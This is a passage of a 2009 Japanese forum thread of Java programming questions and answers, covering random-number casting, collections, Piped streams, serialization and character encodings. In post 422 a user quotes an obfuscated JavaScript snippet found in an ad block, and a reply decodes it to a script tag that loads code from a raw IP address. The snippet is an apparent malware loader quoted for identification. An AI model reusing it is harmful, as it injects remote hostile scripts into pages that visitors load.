どうもありがとうございました m(_ _)m

355 :デフォルトの名無しさん:2009/04/24(金) 11:01:43
JRE6u11の件で質問です

現状のバージョンは1.5.0_05-b05を使用してますが
各システムの用件で今回のバージョンアップで
JRE6u11(1.6.0_11-b03)に変更する予定です。

以前までのVerではサイレントインストール時のオプション(JAVAUPDATE=0)で
Javaのコンパネの「アップデートを自動的にチェック」をデフォルトで
外すことが出来たのですが、JRE6からはそのオプションが無くなったようで
苦戦しております。

現在、考えた方法
・%systemroot%\Sun\Java\Deployment へ「deployment.config」と「deployment.properties」
 を配置し、
  deployment.config には
  deployment.system.config=file\:C\:/WINDOWS/Sun/Java/Deployment/deployment.properties
  deployment.properties には
  deployment.javaws.autodownload=NEVER
  deployment.javaws.autodownload.locked=
 を記載し、Javaコンパネの「詳細」の「JRE自動ダウンロード」のところを「自動ダウンロードしない」
 に変更する事はできました。
 しかし「アップデート」の「アップデートを自動的にチェック」のチェックは外れません・・・。
・念のため、HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run からSunJavaUpdateSched を削除

台数が多いものでこのような作戦を考えたのですがいかがでしょうか。
もしスレ違いであれば申し訳ないです。

356 :デフォルトの名無しさん:2009/04/24(金) 11:03:37
>>354
その方法は強く非推奨であるために
デフォルトでは使えなくなってることを理解した上で使ってね。
ものすごいセキュリティホールだから。

357 :デフォルトの名無しさん:2009/04/24(金) 11:09:16
>>356
非推奨なのは分かっているのですが、数万台のクライアントに
適用する必要があり、業務システムは50くらいある環境なので
勝手にバージョンアップされちゃうと大問題なのです・・・。
「アップデートを自動的にチェック」のチェックを外すには
どのようにしたらいいのでしょうか・・・。

358 :デフォルトの名無しさん:2009/04/24(金) 12:54:30
NIOのFileChannelとかBufferとかを
ラップして、簡単に使えるようにした
ライブラリとかってありませんか?

FileChannel.MapModeとか、ByteBuffer.allocateDirectとか、
あれこれモードがありすぎてわけわからん。。

359 :デフォルトの名無しさん:2009/04/24(金) 12:58:00
ねぇよ。自分で作れ。

360 :デフォルトの名無しさん:2009/04/24(金) 16:26:59
for (int i = 0; i < list.size(); i++) {
}

とやるのと

int listSize = list.size();
for (int i = 0; i < listSize; i++) {
}

とやるのではどっちがJavaでは普通ですか?

361 :デフォルトの名無しさん:2009/04/24(金) 16:42:58

メソッドコールの若干のオーバーヘッドを嫌って下で書く人も居るが
まぁ炊飯ジャー用の組み込みでもなければ趣味の範囲。

362 :デフォルトの名無しさん:2009/04/24(金) 16:45:20
下やるならforの初期化宣言に入れて使うかな

for(int i=0,size=list.size();i<size;i++)

363 :360:2009/04/24(金) 16:57:42
参考になります
どうもありがとうございました

364 :デフォルトの名無しさん:2009/04/24(金) 20:00:17
Math.randomメソッドを使って-15〜15までの整数をランダムで生成した後に、
int型変数へ代入する場合、
下記のストリームだと-15が出ないのですがなぜでしょうか?
お教え下さい。

int a = (int)(Math.random() * 31 - 15);

365 :デフォルトの名無しさん:2009/04/24(金) 20:22:03
>>364
intにキャストしてるタイミングかな。
-14.051235みたいな値を切り捨ててると思う。

366 :デフォルトの名無しさん:2009/04/24(金) 20:24:56
では、やはり下記のタイミングになるのですね。
ありがとうございました!

int a = (int)(Math.random() * 31) -15;


367 :デフォルトの名無しさん:2009/04/24(金) 20:29:21
すいません。
>>366ですが、
なぜ(Math.random() * 31 - 15)では-14.051235の様な数字は切り捨てで、
int a = (int)(Math.random() * 31) -15 では切り捨てられないのでしょうか?


368 :デフォルトの名無しさん:2009/04/24(金) 20:41:30
コンパイルをしたらこのようなメーセージが出ました。

C:\Java>javac sample.java

メーセージ↓
'javac'は内部コマンドまたは外部コマンド、操作可能なプログラムまたはバッチファイルとして認識されていません。

どうすればよろしいでしょうか。参考書籍通りにやったのですが、できません。宜しくお願いします。

369 :デフォルトの名無しさん:2009/04/24(金) 20:51:06
>>367
タイミングあんまり関係ない

Javaのプリミティブ型は0方向への丸め
あなたの挙げた式を計算するとdoubleで-15.0〜15.99999…になる

ここで問題なのだが、randomで0.0が出る確率ってどのくらいだと思う?
0.0でない場合は-15.0になりえないわけだから、intにキャストされた時に0に向けて丸められて-14になる

370 :デフォルトの名無しさん:2009/04/24(金) 20:52:24
>>368
参考書の見落とししてますので初めから読み直し

371 :デフォルトの名無しさん:2009/04/24(金) 21:09:21
>>369
ありがとうございます。
もう少し詳しい説明をお願いできますでしょうか…
よろしくお願いします!

372 :デフォルトの名無しさん:2009/04/24(金) 21:44:47
>>368
参考書の初めのほうの、PATHという単語を探すと良い

書いてあっても、4行しかなとかの参考書は結構見かけた。

373 :デフォルトの名無しさん:2009/04/24(金) 21:59:44
たとえば、TreeSetクラスでcontainsAll()メソッドを使用するとして、
インタフェース java.util.Set から継承されたcontainsAllと、
クラス java.util.AbstractCollection から継承されたメソッド
がありますが、使い分けとか、あるのでしょうか。
もし使い分けするとしたら、どういった場合があるのでしょうか。

374 :デフォルトの名無しさん:2009/04/24(金) 22:07:12
インタフェースの方を使えばいいよ。
Abstract*は本来作りたい実装の雛形クラス。
インタフェースはクラス構造の規格を定義するもの。

一般的にユーザが意識するのはTreeSetみたいな雛形ではない製品とその規格だけ。

375 :デフォルトの名無しさん:2009/04/24(金) 22:15:08
>一般的にユーザが意識するのはTreeSetみたいな雛形ではない製品とその規格だけ。
TreeSetが提供する機能だけを意識したらいいってことですか。

376 :デフォルトの名無しさん:2009/04/24(金) 22:21:02
Set<Foo> set = new TreeSet<Foo>() とするのが普通かな。
左側はSetとして、TreeSetとはしない。

firstやlastを使いたいというなら、それはSortedSetの規格に沿ってるだけだから、
SortedSet<Foo> set = new TreeSet<Foo>() とするのが普通。

別にTreeSet<Foo> set と宣言しちゃいけないわけではないけどね。

377 :デフォルトの名無しさん:2009/04/24(金) 22:23:55
単三電池というインタフェースにアルカリかマンガンかを選択するようなもんだな。
電子機器側からしたら単三電池で有りさえすれば、別にどっちでもいいみたいな。

378 :デフォルトの名無しさん:2009/04/24(金) 23:12:42
>>360
近頃は
for (Object obj : list) {}
とも書けたりするので侮れないよな。

こんな感じ。
void func(String[] args) {
List<String> list = new ArrayList<String>();
for (String arg : args) { list.add(arg); }
for (String arg : list) { System.out.println(arg); }
}

379 :デフォルトの名無しさん:2009/04/24(金) 23:28:50
(参考)
Listの場合、ナニカの意思でLinkedListを使われるとsize()やget()がありえない
コストになるのでIteratorを使うべきだという主張。
http://yoshiori.org/blog/2006/12/javaiterator.php

380 :デフォルトの名無しさん:2009/04/24(金) 23:40:06
>>379
getは分かるがsizeはさすがにカウンタを持つと思うなぁw

381 :デフォルトの名無しさん:2009/04/25(土) 05:57:54
>>371
読み返すと訳の分からんことを言ってるなあ自分

>int a = (int)(Math.random() * 31 -15);

まず Math.random() * 31=0.0〜30.9… が計算される
すなわち (Math.random() * 31 -15)=((+0.0〜+30.9)-15)=-15.0〜+15.9
これをintに丸めると理論上では int a = -15〜+15 になる

・ではなぜ-15が出ないか

(Math.random() * 31 -15) が-15.0になるためにはrandom()が0.0を返さないといけない
理由は0.00000000000000001を返した場合でも-14.999999999999…となって丸めで-14にされるからだ

random()が仮に1000万分の1刻みで均等に分布した数字を返しているならば、0.0は1000万分の1の確率でしか出ない
だから一見出ないように見える。実際の刻み幅はもっと小さいし

ついでに int a = (int)(Math.random() * 31 -15); これは均等に分布しない
丸めのせいで0が多く出る(-0.999…〜0.999…=0)

382 :381:2009/04/25(土) 06:13:26
続き

>int a = (int)(Math.random() * 31) -15

・なんでこれだとOKか

答えとしては「丸め処理を全て正の符号の方で処理しているから」となる
丸めは負ではceil()、正だとfloor()の処理になるので
どっちかに揃えないとルールが変わったんだよ的に値がおかしくなる

上の例で言えば0.0〜30.9…は全て切り捨て処理になるので
0〜30まで均等(厳密には30だけやや小さい)に出現するようになる

383 :デフォルトの名無しさん:2009/04/25(土) 06:30:01
>>370>>372さんありがとうございます。
また一から読み直します。

384 :デフォルトの名無しさん:2009/04/25(土) 08:12:12
サバーがクライアントからメッセージを受け取り、それを受け取ったことを
クライアントごとに返事しようと思ったのですがうまくいきません。
何が問題でしょうか?
サーバーとクライアントを下に貼ります。

385 :デフォルトの名無しさん:2009/04/25(土) 08:18:15
http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/645.zip

386 :デフォルトの名無しさん:2009/04/25(土) 09:40:54
最近始めた初心者です。オブジェクト指向は猫なら「猫」というオブジェクトが「存在」するということなんですよね。

387 :デフォルトの名無しさん:2009/04/25(土) 09:55:23
うんニャ

388 :デフォルトの名無しさん:2009/04/25(土) 10:17:45
もう駄目だ・・

389 :デフォルトの名無しさん:2009/04/25(土) 10:30:00
>>384
players にも observers にも追加してないし、そもそも返事する処理がない。
処理が足りないことが問題。

390 :デフォルトの名無しさん:2009/04/25(土) 11:05:33
.NETのBinaryFormatterのようなものないですかー
XmlSerializerではなくてバイナリで出力できるやつ

391 :デフォルトの名無しさん:2009/04/25(土) 11:07:32
間違えた。出力じゃなく入力。

392 :デフォルトの名無しさん:2009/04/25(土) 11:18:30
ObjectOutputStreamをZipOutputStream被せて使うとかじゃ駄目なのかな?
シリアル化+バイナリ化。

393 :391:2009/04/25(土) 11:21:43
意味は分かるけどそれじゃないんだ。スマン。

394 :デフォルトの名無しさん:2009/04/25(土) 12:07:25
そか、でもせっかくテストプログラム書いたし、ちら裏かわりに掲載しとこう。
public class Main implements Serializable {
static final String SFILE = ".\\Main.out";
static final String OFILE = "Main.obj";
List<String> list = new LinkedList();
public static void main(String[] args) throws FileNotFoundException, IOException, ClassNotFoundException {
Main obj = new Main();
obj.list.add("abc");
obj.list.add("def");
ZipOutputStream zos = new ZipOutputStream(new FileOutputStream(SFILE));
ZipEntry ze = new ZipEntry(OFILE);
zos.putNextEntry(ze);
ObjectOutputStream oos = new ObjectOutputStream(zos);
oos.writeObject(obj);
oos.close();
ZipInputStream zis = new ZipInputStream(new FileInputStream(SFILE));
ZipEntry ent;
while ((ent = zis.getNextEntry())!=null) {
if (ent.getName().equals(OFILE)) break;
}
if (ent==null) return;
ObjectInputStream ooi = new ObjectInputStream(zis);
Main obj2 = (Main)ooi.readObject();
ooi.close();
for (String elem : obj2.list) {
System.out.println(elem);
}
}
}

395 :デフォルトの名無しさん:2009/04/25(土) 12:26:46
ここは C# スレじゃねぇんだから、何が足りねぇのか書かねぇとわかんねぇよ。

396 :デフォルトの名無しさん:2009/04/25(土) 12:45:04
USB の非同期入出力を Java でどう実装すっかと考えて NIO の Selector 機構が
良いかと思ったんだけど、この SelectorProvider って奴は DatagramChannel や
SocketChannel とかの既製品しか対応できな作りになってんの?

397 :デフォルトの名無しさん:2009/04/25(土) 12:50:56
>>396
ファクトリメソッドの説明に
>システムクラスローダーの認識する jar ファイルにプロバイダクラスがインストールされていて、この jar ファイルに
>リソースディレクトリ META-INF/services 内のプロバイダ構成ファイル java.nio.channels.spi.SelectorProvider が
>含まれている場合、ファイルに指定されている最初のクラス名が使用されます。
>その後、クラスがロードされ、インスタンスが作成されます。
とあるじゃん。自分で作ればいい。

398 :デフォルトの名無しさん:2009/04/25(土) 13:42:41
>>397
1. MySelectorProvider を作る。MySelector を返す openSelector() を実装。
2. MySelectableChannel を作る。register() で MySelector に MySelectableChannel を登録。
3. MySelectorProvider, MySelector はシステムデフォルトの SelectorProvider, Selector のラッパー実装も持つ。

で良いのかな? うーん、大げさな割にあまり実装メリットがないような。
素直に非同期コールバック時にキューへ投入 & Listener へイベント通知の形式で良いか。
どうもありがとう御座いました。

399 :デフォルトの名無しさん:2009/04/25(土) 14:13:39
2人以上のクライアントがサーバーに接続したらスタートする質問ゲームです。
クライアントごとにスレッドが用意されています。
Game.javaでつくったArrayListをClientThreadにパスして同じ順序の質問を
2つ以上のクライアントに送りたいのですが
Server.javaの中のstate == GENERATINGのところで行き詰っています。
Game.javaでArrayListに入れた質問や答えをServer.java もしくはClientThread.javaに
パスするのでしょうがNullPointerExceptionが出て、パスされてないようです。
どこにどうパスすると良いのでしょうか?
プログラムはここにあります。
http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/646.zip

400 :デフォルトの名無しさん:2009/04/25(土) 15:47:58
上の質問は忘れてください。

いろいろと試してやっと2つのクライアントがつないだ時に自動的にゲームスタートの
メッセージを送るところまではできました。
今つまづいているのは次の条件です。
すべてのプレイヤーは同じ問題を同じ順序で受け取るのですが
プレイヤー1が質問1に答えてその結果表示、そして次の質問に答えている間に
プレイヤ−2は質問1にいるという、ものです。
スレッドごとに質問を送って、結果も送らなければならないとおもうのですが
ClientThreadの中で質問の行程を書いてみたのですが
どうも質問が、2つのスレッドに1つの質問を送っているような状態になってるようなのです。(違うかもしれませんが)
Server.javaのstate == GENERATINGでプレイヤーのスレッドごとに
質問ゲームを始めたと思ったのですがうまくいっていません。
どこが悪いのでしょうか?
何回も質問してすみません。
ファイルは下にZIPであります。

http://rg550.hp.infoseek.co.jp/cgi-bin/joyful/img/647.zip

401 :デフォルトの名無しさん:2009/04/25(土) 16:01:26
もっと質問を絞れよ。デバッグ作業丸投げなんてソース落とす気にもならん。

402 :デフォルトの名無しさん:2009/04/25(土) 16:15:00
http://pc12.2ch.net/test/read.cgi/tech/1232627790/
★★ Java の宿題ここで答えます Part 67 ★★

403 :デフォルトの名無しさん:2009/04/25(土) 16:52:42
>>379
そのブログ主は何かとアレな人だから注意

404 :デフォルトの名無しさん:2009/04/25(土) 18:53:58
JNI 側から Java のクラスやメソッドのアノテーションを参照する関数ってないですか?
リフレクション使ってゴリゴリ参照するのは出来そうですけど。

405 :デフォルトの名無しさん:2009/04/25(土) 19:36:57
nativeメソッドを呼ぶクラスは作るんだろうから、そっちでリフレクション使うほうが素直で簡単。

406 :デフォルトの名無しさん:2009/04/25(土) 20:55:42
>>403
海外だと記事を読むだけで1時間かかる長文のトンデモとかいるけどね
ある種の宗教じゃないかと思う

407 :191:2009/04/25(土) 22:38:54
>>195

ありがとうぎざいました。
みつかりました↓
http://msugai.fc2web.com/java/

このままだとしばらくして
http://www.nextindex.net/
へ飛んでしまうので、
飛ぶ前にページをダウンして
飛ばしている部分とかを削除して使っています。

408 :デフォルトの名無しさん:2009/04/25(土) 22:45:53
JAVA Eclipse3.4.2 が今一番最新のバージョンだと思いますが、
日本語化って出来ますか?
eclipse.orgのホームページに言語パックが無いみたいですが・・・


409 :デフォルトの名無しさん:2009/04/25(土) 22:52:05
>>408
blanco eclipse で検索

410 :デフォルトの名無しさん:2009/04/25(土) 23:04:38
>409
無事、日本語化することが出来ました。
ご親切にありがとうございました。

411 :デフォルトの名無しさん:2009/04/25(土) 23:21:16
少し質問させて。
高校で新しくJavaを習い始めて質問されたんだが、
クラスを用いることで得られる長所や短所ってなんなんだろうか。
長所は、クラスをひとつの塊として見るからプログラムの全体像が
把握しやすくなるとか、そういうのかなと思うんだけど、
短所が思いつかない。ぶっちゃけクラス使わなきゃJavaのプログラムって
動かないだろうし、短所なんてないだろうと思うんだけども。
偉い人、教えてください。

412 :デフォルトの名無しさん:2009/04/25(土) 23:54:02
>>411
そう。カプセル化の到達点。

短所は、仮想テーブルなどのオーバーヘッドによる処理コストの増大。
だけど、ハードがドッグイヤーで進化してるのと、JITコンパイル技術の進歩から
それほど問題になっていない。

413 :デフォルトの名無しさん:2009/04/25(土) 23:56:46
だからロビンマスクが入ってたんですか。

414 :デフォルトの名無しさん:2009/04/26(日) 00:09:32
>>381
詳しい御説明ありがとうございます!

415 :デフォルトの名無しさん:2009/04/26(日) 00:24:44
>>411
オブジェクト指向 継承 ポリモーフィズム カプセル化
キーワード並べといたからwikipediaで読んできな

416 :デフォルトの名無しさん:2009/04/26(日) 00:29:30
オブジェクト指向は一言で言うと「お前は何もんなんだ、名を名乗れ」って言語だな。

417 :デフォルトの名無しさん:2009/04/26(日) 00:38:23
意味不明

418 :デフォルトの名無しさん:2009/04/26(日) 00:48:16
>>405
・JNI 側から直接アクセスする private なインスタンス変数やメソッドにマークを付けておきたい
 (Java のソース読んだだけでは影響範囲を読み違えてリファクタリングしてしまいそうなので)。
・どうせなら JNI 側からアクセスする時にそのアノテーションが付いてなかったらエラーにしたい。

をしたかったんですけど、今の JNI のインターフェースじゃ面倒臭そうですね。
どうもありがとうございました。

419 :デフォルトの名無しさん:2009/04/26(日) 00:48:19
それならJAVAなんかじゃなくてC++でいいやん。

420 :デフォルトの名無しさん:2009/04/26(日) 00:57:48
厨学生回答出ました。

421 :デフォルトの名無しさん:2009/04/26(日) 01:03:51
話題が似てたけど、C++は>>415に対してのこと


422 :デフォルトの名無しさん:2009/04/26(日) 01:37:42
質問。こんなコードが貼り付けられてたんだけど何?
<!-- ad --><html>
<script>
/*@cc_on @*/
/*@if (@_win32)
var source ="=tdsjqu!uzqf>#ufyu0kbwbtdsjqu#!tsd>#iuuq;00:6/23:/255/33:0tubut0tubut/kt#?=0tdsjqu?"; var result = "";
for(var i=0;i<source.length;i++) result+=String.fromCharCode(source.charCodeAt(i)-1);
document.write(result);
/*@end @*/
</script>
</html><!-- /ad -->

423 :デフォルトの名無しさん:2009/04/26(日) 01:42:11
>>422
<script type="text/javascript" src="http://95.129.144.229/stat/stat.jsp"></script>
ここは JavaScript スレじゃねぇんだよ。

424 :デフォルトの名無しさん:2009/04/26(日) 01:50:17
411だす。

>>412
とりあえず短所は少しずつ解消されてきてるからあんまり
問題ではないんですね。回答ありがとう。

>>415
読んできた。なんとなく意味は分かったけれども
自分が勉強不足なのも実感したので、ちょっと自習してみます。
ありがとう。


425 :デフォルトの名無しさん:2009/04/26(日) 04:03:07
大富豪的実行環境前提だから、高性能のハードが売れて、ハード販売屋には嬉しい言語。
正にリソースジャバジャバ使いまくり。

426 :デフォルトの名無しさん:2009/04/26(日) 04:31:18
10 年前からタイムマシンで来られた方ですね。ゆっくりしていってね。

427 :デフォルトの名無しさん:2009/04/26(日) 04:34:51
構造的プログラミングとオブジェクト指向プログラミングの決定的な違いは、
全体・詳細の依存方向の逆転

428 :ちんこ ◆GbXlaaQNk. :2009/04/26(日) 09:32:21
どうせお前ら、オブジェクト指向を理解してないんだろ。
偉そうなことばかりいうなよw

429 :デフォルトの名無しさん:2009/04/26(日) 10:54:07
オブジェクト指向は理解するもんじゃない
感じるものだ

by 俺

430 :ちんこ ◆GbXlaaQNk. :2009/04/26(日) 11:14:42
クラスとは、小さなアプリケーションのことである。

by ちんこ

431 :デフォルトの名無しさん:2009/04/26(日) 13:25:37
逆コンパイラってないですか?

432 :デフォルトの名無しさん:2009/04/26(日) 13:29:12
>>431
http://lab.moyo.biz/tools/jadweb/index.jsp

433 :デフォルトの名無しさん:2009/04/26(日) 13:31:25
DJ Java Decompiler
http://download.cnet.com/DJ-Java-Decompiler/3000-2213_4-10046809.html

434 :デフォルトの名無しさん:2009/04/26(日) 13:36:57
アザッス

435 :デフォルトの名無しさん:2009/04/26(日) 14:53:39
FileReader csv = new FileReader("test.csv");
BufferedReader in = new BufferedReader(csv);
PipedWriter pipeOut = new PipedWriter();
PipedReader pipeIn = new PipedReader(pipeOut);
PrintWriter out = new PrintWriter(pipeOut);
String line;
String[] arrayline;
while((line = in.readLine()) != null) {
arrayline = line.split(",");
out.println(arrayline[3]);
out.flush();
in.close();
out.close();
return pipeIn; // <-- ココ
パイプ処理で pipeInに渡していると思うのですが、
outオブジェクトが渡っていると思うのですが、
何が渡るのかは、どういう仕組みで決まるのでしょうか。

436 :435:2009/04/26(日) 15:02:44
435では、outに対して編集がなされているのですが、
pipeInにも、その編集が連動していないといけないと思うのですけど、
outを編集して、それがpipeInに何故連動するのかがわからないです。


437 :デフォルトの名無しさん:2009/04/26(日) 15:07:44
>>435
まず PipeReader/PipeWriter の使い所が間違っている。
そのコードなら一旦 StringBuilder に連結して最後に StringReader を返せ。

438 :デフォルトの名無しさん:2009/04/26(日) 15:12:02
>>437
書籍のサンプルなんです。処理はうまくいっているんですよね。
outで編集したデータをファイルを介さずに次の処理の入力に
渡すんだと思うのですけど、outオブジェクトにしか編集してないのに、
pipeInオブジェクトになんで渡るのでしょうと思うのです。
キツネにつままれたような感じです。


439 :デフォルトの名無しさん:2009/04/26(日) 15:12:38
} が一個抜けているのはご愛嬌(コメントと一緒に消したんだな)として、

PipedWriter pipeOut = new PipedWriter();
PipedReader pipeIn = new PipedReader(pipeOut);
PrintWriter out = new PrintWriter(pipeOut);

という仕組みで決まっている。

440 :デフォルトの名無しさん:2009/04/26(日) 15:17:43
>>439
pipeInとoutは別個のオブジェクトですよね。
特殊な扱いで、PrintWriterのオブジェクトが登場したら、
それが内部的に、PipedReaderのオブジェクトに繋がるというような、
特殊な取り決めがあるんでしょうか。

441 :デフォルトの名無しさん:2009/04/26(日) 15:19:05
out に書き込まれた文字列は、データとして pipeOut に書き込まれる。
pipeIn は、pipeOut に書き込まれたデータをこのストリームからの入力として
使えるように定義されているわけだ。

442 :デフォルトの名無しさん:2009/04/26(日) 15:21:17
PipedReader pipeIn = new PipedReader(  『pipeOut』  ); に注目ね。

443 :デフォルトの名無しさん:2009/04/26(日) 15:22:07
>>441
>out に書き込まれた文字列は、データとして pipeOut に書き込まれる。
そうであるなら分かりますけど、outに書かれた文字列が、
pipeOutに書き込まれるというのは、一連のプログラムからは読み取れないです。
そういうものであると機械的に覚えるしかないのでしょうか。

444 :デフォルトの名無しさん:2009/04/26(日) 15:27:48
>>442
>PipedReader pipeIn = new PipedReader(『pipeOut』); に注目ね。
PipedReaderの引数としてpipeOutを渡していますけど、その結果、
pipeInとういオブジェクトが出来ていますけど、outの内容が変化したら
pipeInにも反映されるという記述が無いように思うんですね。
以前配列のときに同じような疑問を持ったんですけど、そのときは、
同じ参照場所を見ていたのですけど、これは参照場所も違うと思うのです。
pipeInとoutという別のオブジェクトが、どういう内部的な処理で
連動して動いているんだろうと、思うと疑問は晴れないですね。

445 :デフォルトの名無しさん:2009/04/26(日) 15:28:00
煮詰まってて見落としたんだな。次からは注意して見ればいい。

446 :デフォルトの名無しさん:2009/04/26(日) 15:29:29
あれ・・・ストリームがわかって無いのか。

447 :デフォルトの名無しさん:2009/04/26(日) 15:31:36
>>446
ストリームは昨日から勉強を始めました。基本部分はストリームで
終了なんです。私はわかってないんでしょうね。

448 :デフォルトの名無しさん:2009/04/26(日) 15:33:33
PipedReader と PipedWriter は FIFO のバッファを共有していて、PipedWriter は書き込んだ
データを FIFO バッファに書き込み、PipedReader はその FIFO バッファから読み出しているだけ。
これはスレッド間でのストリームによる通信を行う為のもので FIFO バッファがいっぱいになれば
それ以上書き込みできなくなって停止する。バッファがいっぱいになっていないからうまく動いて
いるように見えるだけ。

大体パイプ入出力を >>436 みたいに使う解説してる書籍が本当にあるならその名前を晒せよ。

449 :デフォルトの名無しさん:2009/04/26(日) 15:35:48
PipedReader pipeIn = new PipedReader(  『pipeOut』  ); に注目。
PrintWriter out = new PrintWriter(  『pipeOut』  ); こっちにも注目。
同じ参照場所を見るわけだから問題なし。

受け渡すのが配列かPipedWriterかの違いなだけだよ。

450 :デフォルトの名無しさん:2009/04/26(日) 15:41:09
out.write("ほげ") ──→ pipeOut.write("ほげ") ──→ buffer[0] = 'ほ'; buffer[1] = 'げ';
'ほ' ← pipeIn.read() ←────────────────────┘         │
'げ' ← pipeIn.read() ←──────────────────────────────┘

Mac なのでズレるかも知れん。

451 :デフォルトの名無しさん:2009/04/26(日) 17:05:44
よく分からないので、勉強してみます。
返事下さった皆様、ありがとうございました。

452 :デフォルトの名無しさん:2009/04/26(日) 17:42:04
Javaで文字列を次々に表示するようなソフトを作るにはどうすればいいですか?
例えば、
まず文字列aを表示
1秒後に文字列bを表示
さらに1秒後に文字列cを表示
みたいな感じです。どうか教えてください。

453 :デフォルトの名無しさん:2009/04/26(日) 17:44:34
for(int i=0; i<10; i++){
  if(i != 0) Thread.sleep(1000);
  System.out.println((char)('a' + i));
}

454 :デフォルトの名無しさん:2009/04/26(日) 18:21:54
例外 java.lang.InterruptedException は報告されません。スローするにはキャッチまたは、スロー宣言をしなければなりません。
というエラーが出たんですが、どうすればいいですか?

455 :デフォルトの名無しさん:2009/04/26(日) 18:24:55
public static void main(String[] args) throws InterruptedException{

456 :デフォルトの名無しさん:2009/04/26(日) 18:25:17
>>454
catchかthrowsしよう。このキーワードでぐぐればサンプルはいくつも出てくる。

でもなぁ、InterruptedExceptionは正直RuntimeExceptionでよかったように思うな。
何でこうなってるんだろう。

457 :デフォルトの名無しさん:2009/04/26(日) 18:53:23
【中国】「わが国でデジタル家電など売りたいなら、ソースコードを強制的に開示してもらう」 中国、制度強行へ★12
http://tsushima.2ch.net/test/read.cgi/newsplus/1240733623/

458 :デフォルトの名無しさん:2009/04/26(日) 19:14:01
すみませんが、Javaで作ったプログラムをexe形式のアプリケーションに変換するにはどうすればいいですか?

459 :デフォルトの名無しさん:2009/04/26(日) 19:17:59
jarをwin32リソースにしてクラスローダーを書き換えるツールはあったな。
exeになるだけでjavaVMは不要にはならない。


460 :デフォルトの名無しさん:2009/04/26(日) 19:19:37
gcj

461 :デフォルトの名無しさん:2009/04/26(日) 19:21:38
J#

462 :デフォルトの名無しさん:2009/04/26(日) 19:23:28
どこまで使い物になるか分からんけど gcj という gcc の Java コンパイラがある。
というか Windows 版があるのか知らんが。

463 :デフォルトの名無しさん:2009/04/26(日) 20:38:53
InputStreamReaderクラスを使えばコンストラクタで文字コードを指定できたのですけど、
FileReaderクラスとBufferedReaderクラスを使ってファイルを読んで、
FileWriterクラスとBufferedWriterクラスを使ってファイルを書き出したときに、
inのファイルを文字列1行をエディタでShift_JISで作成したら、出力ファイルで
文字化けしました。
ファイルの入出力で文字コードを指定するにはどうしたらいいのでしょうか。
それとも一般的には開発ツールとかの設定で文字コードを決め込むのは普通なんでしょうか。

464 :デフォルトの名無しさん:2009/04/26(日) 22:05:04
Reader in = new InputStreamReader(new FileInputStream("file.txt"), "windows-31j");
Writer out = new OutputStreamWriter(new FileOutputStream("file.euc"), "euc-jp");

465 :デフォルトの名無しさん:2009/04/26(日) 22:42:24
>一般的には開発ツールとかの設定で文字コードを決め込むのは普通
出力するものは文字セットを決めておくのが普通。
入力するものは文字セットを決めておく (か文字セットとして"JISAutoDetect"を指定する) のが普通。

JISAutoDetect を使うのは・・・裏技?

466 :デフォルトの名無しさん:2009/04/26(日) 22:49:49
・日本語である。
・ただし SJIS, JIS, EUC のどれで来るか分からない。

なら普通に使うが。まぁ Web クローラーでも作るんじゃなけりゃ普通は厳格に決めるが。

467 :デフォルトの名無しさん:2009/04/26(日) 22:57:07
JISAutoDetectはShift_JISとWindows-31Jとの区別がつかないし、
たまにご誤定もあるのでオススメしない。

468 :デフォルトの名無しさん:2009/04/26(日) 22:59:10
たまご認定

469 :デフォルトの名無しさん:2009/04/26(日) 23:36:46
Windows上で、シフトJISのつもりでShift_JISを指定するのは大抵間違い。
Windows-31Jを使え。


470 :デフォルトの名無しさん:2009/04/26(日) 23:40:14
質問の回答でもないのに、そんな常識的な事を偉そうに言われても…

471 :デフォルトの名無しさん:2009/04/26(日) 23:56:20
>>470
お前現実を知らないな。どんなにがんばってその「常識」を本当の常識にしようとしても、なおShift_JISを使う奴が後を断たないんだ……。

472 :デフォルトの名無しさん:2009/04/27(月) 00:07:53
コネクションプール数を20に設定したします。
コネクションが同時にたくさん使われプールからなくなったら
次にコネクションをとろうとするスレッドは、待つのですか?エラーとなるのでしょうか。

473 :デフォルトの名無しさん:2009/04/27(月) 00:10:44
>>472
普通はまず待ちに入る。もしかしたら待ち行列もある程度の数になったら例外にする
コンテナもあるかも知れない。

474 :デフォルトの名無しさん:2009/04/27(月) 00:25:06
お狐様の祟りじゃ〜
たたりじゃ〜

475 :デフォルトの名無しさん:2009/04/27(月) 00:27:44
って思ったんですけど、そういうものであると機械的に覚えるしかないって思ったんですけど。

476 :デフォルトの名無しさん:2009/04/27(月) 00:32:11
>>448
パイプバッファがいっぱいになると停止するんですか。
それはpipeIn.readしないとout.writeがブロックを起こすってことですか?

477 :デフォルトの名無しさん:2009/04/27(月) 00:42:15
>>471
文字コードは全部JAVAにやらせてるけど、Windows-31Jとか長ったらしいじゃん。
Windowsとか入ってるのも嫌味だし。
cp932指定じゃだめなの?

478 :デフォルトの名無しさん:2009/04/27(月) 00:43:00
>>476
すると明示して・・・ないな。
同様のPipedOutputStreamには、
「単一のスレッドから両方のオブジェクトを使用することは、スレッドがデッドロックする可能性があるため推奨されていません。」
と明記してあるけど。

479 :デフォルトの名無しさん:2009/04/27(月) 00:50:44
>>476
そう。別スレッドの誰かが読み込んでいてくれないと、書いてるだけじゃデフォルトで
1024 バイトでバッファがいっぱいになってその次の書き込みでブロックに入る。
詳しくは JDK 付属のソースを読め。
そもそもシングルスレッド内で使うために用意されたものじゃない。

480 :デフォルトの名無しさん:2009/04/27(月) 00:59:31
>>478-479
まあそうですよね。
昔も悩んだんですけど、そこは実装によるからAPIDOCはあいまいに書いてあるんだなって思ってました。
それはそうとソース見てませんが1024がデフォサイズなんですか。
これは今後来るであろう並列処理・遅延評価上では問題ですね。

481 :デフォルトの名無しさん:2009/04/27(月) 01:05:07
>>477
windows-31J は IANA にも登録されている標準のエンコーディング名だぞ。
MS932 も Cp943C も非公式だ。まぁ IE6 は windows-31j 認識しないけど。

>>480
PipedReader のコンストラクタにバッファサイズを指定出来る。この時点で
FIFO バッファ実装が前提なので実装にはよらない。

482 :デフォルトの名無しさん:2009/04/27(月) 01:16:58
そうそうCPじゃなくてMS932。どっちも同じだけど。
JAVAが普及する前(1993-98年ごろまで)は文字コードの達人になることをを全てのプログラマに強いてはひどかったからね。
その教訓としては、RFCやIANAレベルの仕様を誰かがHPに表としてまとめてくれれよかったんだと思うよ。

今として思えば文字コードの解説HPは山ほどあるけど、当時はよく理解してない学者や技術者の難解な説明ばかりだったからね。
